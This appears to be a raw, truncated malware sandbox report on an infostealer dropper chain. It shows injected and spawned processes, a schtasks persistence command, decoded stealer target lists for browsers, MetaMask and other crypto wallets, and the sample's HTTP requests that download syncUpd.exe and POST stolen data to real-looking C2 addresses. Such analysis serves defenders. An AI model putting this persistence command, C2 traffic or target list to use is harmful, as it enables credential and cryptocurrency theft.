the actual is CRC 7741085:T79a,RegCreateKeyExW RegOpenKeyExW OpenProcessToken GetUserNameW RegCloseKey RegDeleteKeyW RegEnumKeyExW RegDeleteValueW FindResourceW OpenProcess GetProcAddress MapViewOfFile GetStartupInfoW CreateFileW VirtualProtect WriteProcessMemory CreateProcessW GetModuleHandleW GetFileSize GetVersionExW UnhandledExceptionFilter CreateDirectoryW FindNextFileW VirtualAllocEx LoadLibraryA GetCommandLineW GetModuleFileNameW LoadLibraryW FindFirstFileW GetDriveTypeW LoadLibraryExW VirtualAlloc DeleteFileW GetFileAttributesW Sleep CreateThread ExitThread GetSystemInfo LockResource ReadProcessMemory WriteFile GetTickCount IsDebuggerPresent WinExec GetComputerNameW CreateFileMappingW ShellExecuteW ShellExecuteExW GetClipboardData SetWindowsHookExW GetLastActivePopup FindWindowExW SetKeyboardState FindWindowW GetWindowThreadProcessId GetCursorPos EnumPrintersW RegOpenKeyExA GetFileAttributesA CreateProcessA GetCommandLineA GetModuleHandleA GetVersionExA CreateFileA GetModuleFileNameA DeleteFileA FindResourceA CreateDirectoryA GetStartupInfoA TerminateProcess RegEnumKeyW GetTempPathW GetSystemDirectoryW CopyFileW GetTempFileNameW DeviceIoControl SleepEx InternetReadFile HttpQueryInfoW InternetOpenW InternetWriteFile InternetCrackUrlW HttpSendRequestExW HttpSendRequestW InternetCloseHandle InternetQueryOptionW InternetConnectW FtpOpenFileW GetModuleHandleExW FindFirstFileExA OutputDebugStringA LoadLibraryExA FindNextFileA GetModuleHandleExA GetUserNameA RegDeleteValueA RegEnumKeyExA RegDeleteKeyA RegCreateKeyExA CopyFileA CreateFileMappingA FindFirstFileA GetLogicalDrives GetDriveTypeA GetSystemDirectoryA GetComputerNameA WNetOpenEnumA ShellExecuteExA ShellExecuteA FindWindowA SetWindowsHookExA SleepConditionVariableCS OpenFileMappingW FindFirstFileExW GetFileSizeEx SleepConditionVariableSRW GetTickCount64 GetThreadContext86:T4eb,"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\InstallSetup9.exe" (Handle: 1508) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe" (Handle: 1448) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\tuc4.exe" (Handle: 1544) "InstallSetup9.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\BroomSetup.exe" (Handle: 776) "tuc4.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\is-LO8DU.tmp\tuc4.tmp" (Handle: 588) "tuc4.tmp" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\net.exe" (Handle: 1048) "tuc4.tmp" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\aviformattertool.exe" (Handle: 1068) "cmd.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\chcp.com" (Handle: 428) "cmd.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\schtasks.exe" (Handle: 420)87:T133f,Spawned process "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (UID: 00000000-00008776) Spawned process "InstallSetup9.exe" (UID: 00000000-00008576) Spawned process "288c47bbc1871b439df19ff4df68f076.exe" (UID: 00000000-00008600) Spawned process "tuc4.exe" (UID: 00000000-00008828) Spawned process "BroomSetup.exe" (UID: 00000000-00008552) Spawned process "tuc4.tmp" with commandline "/SL5="$5004C 4603451 54272 %TEMP%\\tuc4.exe"" (UID: 00000000-00001444) Spawned process "net.exe" with commandline "helpmsg 1131" (UID: 00000000-00008332) Spawned process "aviformattertool.exe" with commandline "-i" (UID: 00000000-00005060) Spawned process "net1.exe" with commandline "%WINDIR%\\system32\\net1 helpmsg 1131" (UID: 00000000-00007576) Spawned process "WerFault.exe" with commandline "-pss -s 460 -p 5060 -ip 5060" (UID: 00000000-00007772) Spawned process "WerFault.exe" with commandline "-u -p 5060 -s 560" (UID: 00000000-00007844) Spawned process "WerFault.exe" with commandline "-u -p 5060 -s 560" (UID: 00000000-00008680) Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /c ""%APPDATA%\\Temp\\Task.bat" "" (UID: 00000000-00008532) Spawned process "chcp.com" with commandline "chcp 1251" (UID: 00000000-00003464) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "MalayamaraUpdate" /tr "'%TEMP%\\Updater.exe'" /sc minute /mo 30 /F" (UID: 00000000-00001432) Spawned process "WerFault.exe" with commandline "-pss -s 508 -p 5516 -ip 5516" (UID: 00000000-00007892) Spawned process "WerFault.exe" with commandline "-pss -s 508 -p 8600 -ip 8600" (UID: 00000000-00006088) Spawned process "WerFault.exe" with commandline "-u -p 8600 -s 480" (UID: 00000000-00007728) Spawned process "WerFault.exe" with commandline "-pss -s 508 -p 8600 -ip 8600" (UID: 00000000-00009000) Spawned process "WerFault.exe" with commandline "-u -p 8600 -s 484" (UID: 00000000-00002984) Spawned process "WerFault.exe" with commandline "-pss -s 464 -p 8600 -ip 8600" (UID: 00000000-00003976) Spawned process "WerFault.exe" with commandline "-u -p 8600 -s 504" (UID: 00000000-00000724) Spawned process "WerFault.exe" with commandline "-pss -s 512 -p 8600 -ip 8600" (UID: 00000000-00008940) Spawned process "WerFault.exe" with commandline "-u -p 8600 -s 508" (UID: 00000000-00006408) Spawned process "WerFault.exe" with commandline "-pss -s 512 -p 8600 -ip 8600" (UID: 00000000-00008908) Spawned process "WerFault.exe" with commandline "-u -p 8600 -s 520" (UID: 00000000-00007348) Spawned process "WerFault.exe" with commandline "-pss -s 500 -p 8600 -ip 8600" (UID: 00000000-00005660) Spawned process "WerFault.exe" with commandline "-u -p 8600 -s 724" (UID: 00000000-00004576) Spawned process "WerFault.exe" with commandline "-pss -s 500 -p 8600 -ip 8600" (UID: 00000000-00008864) Spawned process "WerFault.exe" with commandline "-u -p 8600 -s 732" (UID: 00000000-00006396) Spawned process "WerFault.exe" with commandline "-pss -s 500 -p 8600 -ip 8600" (UID: 00000000-00007404) Spawned process "WerFault.exe" with commandline "-u -p 8600 -s 744" (UID: 00000000-00007828) Spawned process "WerFault.exe" with commandline "-pss -s 500 -p 8600 -ip 8600" (UID: 00000000-00007152) Spawned process "WerFault.exe" with commandline "-u -p 8600 -s 752" (UID: 00000000-00008860) Spawned process "WerFault.exe" with commandline "-pss -s 532 -p 8600 -ip 8600" (UID: 00000000-00007548) Spawned process "WerFault.exe" with commandline "-u -p 8600 -s 756" (UID: 00000000-00008056) Spawned process "WerFault.exe" with commandline "-pss -s 536 -p 8600 -ip 8600" (UID: 00000000-00007240) Spawned process "WerFault.exe" with commandline "-u -p 8600 -s 720" (UID: 00000000-00007612) Spawned process "WerFault.exe" with commandline "-pss -s 536 -p 8600 -ip 8600" (UID: 00000000-00006224) Spawned process "WerFault.exe" with commandline "-u -p 8600 -s 824" (UID: 00000000-00006488) Spawned process "WerFault.exe" with commandline "-pss -s 544 -p 8600 -ip 8600" (UID: 00000000-00008556) Spawned process "WerFault.exe" with commandline "-u -p 8600 -s 824" (UID: 00000000-00008048) Spawned process "WerFault.exe" with commandline "-pss -s 504 -p 8600 -ip 8600" (UID: 00000000-00006540) Spawned process "WerFault.exe" with commandline "-u -p 8600 -s 908" (UID: 00000000-00008180) Spawned process "WerFault.exe" with commandline "-pss -s 568 -p 8600 -ip 8600" (UID: 00000000-00009148) Spawned process "WerFault.exe" with commandline "-u -p 8600 -s 908" (UID: 00000000-00008072) Spawned process "WerFault.exe" with commandline "-pss -s 548 -p 8600 -ip 8600" (UID: 00000000-00005684) Spawned process "WerFault.exe" with commandline "-u -p 8600 -s 520" (UID: 00000000-00006092) Spawned process "WerFault.exe" with commandline "-pss -s 548 -p 8600 -ip 8600" (UID: 00000000-00006328) Spawned process "WerFault.exe" with commandline "-u -p 8600 -s 520" (UID: 00000000-00007960)88:Tce0,Contains base64 encoded string "Ck5ldHdvcmsgSW5mbzoKCS0gSVA6IElQPwoJLSBDb3VudHJ5OiBJU08/CgpTeXN0ZW0gU3VtbWFyeToKCS0gSFdJRDogMjAzOUM1NDBDNDZGMTM1MDgyNzAxNQoJLSBPUzogV2luZG93cyA3IFByb2Zlc3Npb25hbAoJLSBBcmNoaXRlY3R1cmU6IHgzMgoJLSBVc2VyTmFtZTogSEFQVUJXUwoJLSBDb21wdXRlciBOYW1lOiBERVQtRkVZTlhJVUFNV1QKCS0gTG9jYWwgVGltZTogMjAyNC8xLzE1IDEyOjQ4OjEwCgktIFVUQzogMQoJLSBMYW5ndWFnZTogZW4tVVMKCS0gS2V5Ym9hcmRzOiBFbmdsaXNoIChVbml0ZWQgU3RhdGVzKQoJLSBMYXB0b3A6IEZBTFNFCgktIFJ1bm5pbmcgUGF0aDogQzpcVXNlcnNcSEFQVUJXU1xBcHBEYXRhXExvY2FsXFRlbXBcbnNiRUY1Ri50bXAKCS0gQ1BVOiBJbnRlbChSKSBDb3JlKFIpIEdvbGQgNjI0MFIgQ1BVIEAgMi40MEdIegoJLSBDb3JlczogMgoJLSBUaHJlYWRzOiA0CgktIFJBTTogMzA3MSBNQgoJLSBEaXNwbGF5IFJlc29sdXRpb246IDEyODB4MTAyNAoJLSBHUFU6CgkJLVZNd2FyZSBTVkdBIDNECgkJLVZNd2FyZSBTVkdBIDNECgkJLVZNd2FyZSBTVkdBIDNECgkJLVZNd2FyZSBTVkdBIDNECgkJLVZNd2FyZSBTVkdBIDNECgkJLVZNd2FyZSBTVkdBIDNECgkJLVZNd2FyZSBTVkdBIDNECgkJLVZNd2FyZSBTVkdBIDNECgkJLVJEUEREIENoYWluZWQgREQKCQktUkRQIEVuY29kZXIgTWlycm9yIERyaXZlcgoJCS1SRFAgUmVmbGVjdG9yIERpc3BsYXkgRHJpdmVyClVzZXIgQWdlbnRzOgpJbnN0YWxsZWQgQXBwczoKQWxsIFVzZXJzOgoJNy1aaXAgMTYuMDQgLSAxNi4wNAoJQWRvYmUgQUlSIC0gMjcuMC4wLjEyNAoJQWRvYmUgRmxhc2ggUGxheWVyIDI3IEFjdGl2ZVggLSAyNy4wLjAuMTg3CglBZG9iZSBTaG9ja3dhdmUgUGxheWVyIDEyLjMgLSAxMi4zLjEuMjAxCglBdXRvSXQgdjMuMy4xNC4yIC0gMy4zLjE0LjIKCUFWSSBmb3JtYXR0ZXIgdG9vbCB2ZXJzaW9uIDAuMS4xLjMgLSAwLjEuMS4zCglIYW5jb20gT2ZmaWNlIDIwMTAgU0UgLSA4LjUuNQoJTW96aWxsYSBGaXJlZm94IDU3LjAuMSAoeDg2IGVuLVVTKSAtIDU3LjAuMQoJTW96aWxsYSBNYWludGVuYW5jZSBTZXJ2aWNlIC0gNTcuMC4xCglNaWNyb3NvZnQgT2ZmaWNlIFByb2Zlc3Npb25hbCBQbHVzIDIwMTAgLSAxNC4wLjYwMjkuMTAwMAoJV2luUGNhcCA0LjEuMyAtIDQuMS4wLjI5ODAKQ3VycmVudCBVc2VyOgoJTWljcm9zb2Z0IE9uZURyaXZlIC0gMTcuMy40NjA0LjAxMjAKCVB5dGhvbiAzLjYuMyAoMzItYml0KSAtIDMuNi4zMTUwLjAKCVB5dGhvbiAzLjguMTAgKDMyLWJpdCkgLSAzLjguMTAxNTAuMAoKUHJvY2VzcyBMaXN0OgoJU3lzdGVtCglzbXNzLmV4ZQoJY3Nyc3MuZXhlCgl3aW5pbml0LmV4ZQoJY3Nyc3MuZXhlCgl3aW5sb2dvbi5leGUKCXNlcnZpY2VzLmV4ZQoJbHNhc3MuZXhlCglsc20uZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3Bvb2xzdi5leGUKCXN2Y2hvc3QuZXhlCgl0YXNraG9zdC5leGUKCWR3bS5leGUKCXN2Y2hvc3QuZXhlCglleHBsb3Jlci5leGUKCVZHQXV0aFNlcnZpY2UuZXhlCgl2bTNkc2VydmljZS5leGUKCXZtdG9vbHNkLmV4ZQoJdm0zZHNlcnZpY2UuZXhlCgl2bXRvb2xzZC5leGUKCXN2Y2hvc3QuZXhlCglXbWlQcnZTRS5leGUKCWRsbGhvc3QuZXhlCgltc2R0Yy5leGUKCVdtaVBydlNFLmV4ZQoJY29uaG9zdC5leGUKCWNvbmhvc3QuZXhlCglBdXRvSXQzLmV4ZQoJQXV0b0l0My5leGUKCUF1dG9JdDMuZXhlCglBdXRvSXQzLmV4ZQoJQXV0b0l0My5leGUKCUF1dG9JdDMuZXhlCglXbWlBcFNydi5leGUKCUluc3RhbGxTZXR1cDkuZXhlCglCcm9vbVNldHVwLmV4ZQoJdHVjNC5leGUKCXR1YzQudG1wCglUcnVzdGVkSW5zdGFsbGVyLmV4ZQoJbnNiRUY1Ri50bXAKCXRhc2tlbmcuZXhlCgl0YXNraG9zdC5leGUKCWF2aWZvcm1hdHRlcnRvb2wuZXhlCglkbGxob3N0LmV4ZQ==" in [Source : PCAP] Contains base64 encoded string "Y29va2llc1xNb3ppbGxhIEZpcmVmb3hfbWowd3R5aW4uZGVmYXVsdC0xNjkyNzkwODgzNDg3LnR4dA==" in [Source : PCAP] Contains base64 encoded string "aGlzdG9yeVxNb3ppbGxhIEZpcmVmb3hfbWowd3R5aW4uZGVmYXVsdC0xNjkyNzkwODgzNDg3LnR4dA==" in [Source : PCAP] Contains base64 encoded string "ZmlsZXNcRE9DU1xBbWF6b24gRG93bmxvYWRlciBMb2dzXEFtYXpvbl9Eb3dubG9hZGVyX0xvZ18yMDE3MTIwNi0yMjU3MTJfMTgxMGU5ZTAtMWE4ZC00NTdjLWJlM2EtNzM3ZGU1MGRjNmJiLnR4dA==" in [Source : PCAP] Contains base64 encoded string "c29mdFxPdXRsb29rXGFjY291bnRzLnR4dA==" in [Source : PCAP]89:Tb5f,"nsbEF5F.tmp" called "CryptStringToBinaryA" with parameters {"pszString": "MDViYzlmMjgwY2VlYWI2NjVmNGY2ZTQ5Nzg1MTM3Yjc0NTFhMDE1Nzg2ZTJhNTc0MzQ5YzEzOTVmMmM2ZGY5YmRhZjBmMDllfGRvbmV8NzEyMzg0NC5maWxlfDF8MXwxfDF8MXwxfDF8MXw=" "cchString": "0" "dwFlags": "1" "pcbBinary": "6b000000"} "nsbEF5F.tmp" called "CryptStringToBinaryA" with parameters {"pszString": "MDViYzlmMjgwY2VlYWI2NjVmNGY2ZTQ5Nzg1MTM3Yjc0NTFhMDE1Nzg2ZTJhNTc0MzQ5YzEzOTVmMmM2ZGY5YmRhZjBmMDllfGRvbmV8NzEyMzg0NC5maWxlfDF8MXwxfDF8MXwxfDF8MXw=" "cchString": "0" "dwFlags": "1" "pbBinary": "05bc9f280ceeab665f4f6e49785137b7451a015786e2a574349c1395f2c6df9bdaf0f09e|done|7123844.file|1|1|1|1|1|1|1|1|" "pcbBinary": "6b000000"} "nsbEF5F.tmp" called "CryptStringToBinaryA" with parameters {"cchString": "0" "dwFlags": "1" "pcbBinary": "72040000"} "nsbEF5F.tmp" called "CryptStringToBinaryA" with parameters {"cchString": "0" "dwFlags": "1" "pbBinary": "Google Chrome|\\Google\\Chrome\\User Data|chrome|chrome.exe|Google Chrome Canary|\\Google\\Chrome SxS\\User Data|chrome|chrome.exe|Chromium|\\Chromium\\User Data|chrome|chrome.exe|Amigo|\\Amigo\\User Data|chrome|0|Torch|\\Torch\\User Data|chrome|0|Vivaldi|\\Vivaldi\\User Da" "pcbBinary": "72040000"} "nsbEF5F.tmp" called "CryptStringToBinaryA" with parameters {"cchString": "0" "dwFlags": "1" "pcbBinary": "da0f0000"} "nsbEF5F.tmp" called "CryptStringToBinaryA" with parameters {"cchString": "0" "dwFlags": "1" "pbBinary": "MetaMask|djclckkglechooblngghdinmeemkbgci|1|0|0|MetaMask|ejbalbakoplchlghecdalmeeeajnimhm|1|0|0|MetaMask|nkbihfbeogaeaoehlefnkodbefgpgknn|1|0|0|TronLink|ibnejdfjmmkpcnlpebklmnkoeoihofec|1|0|0|Binance Wallet|fhbohimaelbohpjbbldcngcnapndodjp|1|0|0|Yoroi|ffnbelfd" "pcbBinary": "da0f0000"} "nsbEF5F.tmp" called "CryptStringToBinaryA" with parameters {"cchString": "0" "dwFlags": "1" "pcbBinary": "9c040000"} "nsbEF5F.tmp" called "CryptStringToBinaryA" with parameters {"cchString": "0" "dwFlags": "1" "pbBinary": "Bitcoin Core|\\Bitcoin\\wallets\\|wallet.dat|1|Bitcoin Core Old|\\Bitcoin\\|*wallet*.dat|0|Dogecoin|\\Dogecoin\\|*wallet*.dat|0|Raven Core|\\Raven\\|*wallet*.dat|0|Daedalus Mainnet|\\Daedalus Mainnet\\wallets\\|she*.sqlite|0|Blockstream Green|\\Blockstream\\Green\\wallets\\|*" "pcbBinary": "9c040000"} "nsbEF5F.tmp" called "CryptStringToBinaryA" with parameters {"cchString": "0" "dwFlags": "1" "pcbBinary": "03060000"} "nsbEF5F.tmp" called "CryptStringToBinaryA" with parameters {"cchString": "0" "dwFlags": "1" "pbBinary": "DESK|%DESKTOP%\\|*.txt,*.docx,*.xlsx|5|1|1|DESK|%DESKTOP%\\|*wallet*.png,*wallet*.pdf,*backup*.png,*backup*.pdf,*recover*.png,*recover*.pdf,*metamask*.*,*UTC--*.*|1500|1|1|DOCS|%DOCUMENTS%\\|*wallet*.png,*wallet*.pdf,*backup*.png,*backup*.pdf,*recover*.png,*recov" "pcbBinary": "03060000"} "nsbEF5F.tmp" called "CryptStringToBinaryA" with parameters {"cchString": "0" "dwFlags": "1" "pcbBinary": "00000000"}8a:T5670,Contains base64 string in header "nine" in header "GET /cpa/ping.php?substr=nine&s=ab HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 185.172.128.90Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "NSIS" in header "GET /cpa/ping.php?substr=nine&s=ab HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 185.172.128.90Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "GET /cpa/ping.php?substr=nine&s=ab HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 185.172.128.90Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "90Connection" in header "GET /cpa/ping.php?substr=nine&s=ab HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 185.172.128.90Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /cpa/ping.php?substr=nine&s=ab HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 185.172.128.90Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "/syncUpd" in header "GET /syncUpd.exe HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 185.172.128.53Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "NSIS" in header "GET /syncUpd.exe HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 185.172.128.53Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "GET /syncUpd.exe HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 185.172.128.53Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "53Connection" in header "GET /syncUpd.exe HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 185.172.128.53Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /syncUpd.exe HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 185.172.128.53Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKJKJDGCGDBGDHIJKJEHost: 185.172.128.79Content-Length: 215Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKJKJDGCGDBGDHIJKJEHost: 185.172.128.79Content-Length: 215Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKJKJDGCGDBGDHIJKJEHost: 185.172.128.79Content-Length: 215Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKJKJDGCGDBGDHIJKJEHost: 185.172.128.79Content-Length: 215Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "AAKJKJDGCGDBGDHIJKJEHost" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKJKJDGCGDBGDHIJKJEHost: 185.172.128.79Content-Length: 215Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKJKJDGCGDBGDHIJKJEHost: 185.172.128.79Content-Length: 215Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCAFIIECBFIDHIJKFBHost: 185.172.128.79Content-Length: 268Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCAFIIECBFIDHIJKFBHost: 185.172.128.79Content-Length: 268Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCAFIIECBFIDHIJKFBHost: 185.172.128.79Content-Length: 268Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCAFIIECBFIDHIJKFBHost: 185.172.128.79Content-Length: 268Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "CBGCAFIIECBFIDHIJKFBHost" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCAFIIECBFIDHIJKFBHost: 185.172.128.79Content-Length: 268Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCAFIIECBFIDHIJKFBHost: 185.172.128.79Content-Length: 268Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKJKJJJECFIEBFHIEGHost: 185.172.128.79Content-Length: 267Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKJKJJJECFIEBFHIEGHost: 185.172.128.79Content-Length: 267Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKJKJJJECFIEBFHIEGHost: 185.172.128.79Content-Length: 267Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKJKJJJECFIEBFHIEGHost: 185.172.128.79Content-Length: 267Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "CBAKJKJJJECFIEBFHIEGHost" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKJKJJJECFIEBFHIEGHost: 185.172.128.79Content-Length: 267Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKJKJJJECFIEBFHIEGHost: 185.172.128.79Content-Length: 267Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJJJJDHIDBGHIDHIDAFBHost: 185.172.128.79Content-Length: 3039Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJJJJDHIDBGHIDHIDAFBHost: 185.172.128.79Content-Length: 3039Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJJJJDHIDBGHIDHIDAFBHost: 185.172.128.79Content-Length: 3039Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJJJJDHIDBGHIDHIDAFBHost: 185.172.128.79Content-Length: 3039Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "KJJJJDHIDBGHIDHIDAFBHost" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJJJJDHIDBGHIDHIDAFBHost: 185.172.128.79Content-Length: 3039Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJJJJDHIDBGHIDHIDAFBHost: 185.172.128.79Content-Length: 3039Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "/search/" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa1de8889b5e4fa9281ae978a071ea771795af8e05c647db22f31df92d8b38e316a667d307eca743ed4c2b07b52966923b628dfd13c1eb96 HTTP/1.1Host: ezjeuqf.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa1de8889b5e4fa9281ae978a071ea771795af8e05c647db22f31df92d8b38e316a667d307eca743ed4c2b07b52966923b628dfd13c1eb96" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa1de8889b5e4fa9281ae978a071ea771795af8e05c647db22f31df92d8b38e316a667d307eca743ed4c2b07b52966923b628dfd13c1eb96 HTTP/1.1Host: ezjeuqf.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "MSIE" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa1de8889b5e4fa9281ae978a071ea771795af8e05c647db22f31df92d8b38e316a667d307eca743ed4c2b07b52966923b628dfd13c1eb96 HTTP/1.1Host: ezjeuqf.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "/search/" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e89d804e895a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff811c5ec97983ac96c HTTP/1.1Host: ezjeuqf.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e89d804e895a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff811c5ec97983ac96c" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e89d804e895a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff811c5ec97983ac96c HTTP/1.1Host: ezjeuqf.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "MSIE" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e89d804e895a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff811c5ec97983ac96c HTTP/1.1Host: ezjeuqf.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "POST" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAKJDHIEBFIIDGDGDBAHost: 185.172.128.79Content-Length: 1399Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAKJDHIEBFIIDGDGDBAHost: 185.172.128.79Content-Length: 1399Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAKJDHIEBFIIDGDGDBAHost: 185.172.128.79Content-Length: 1399Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST 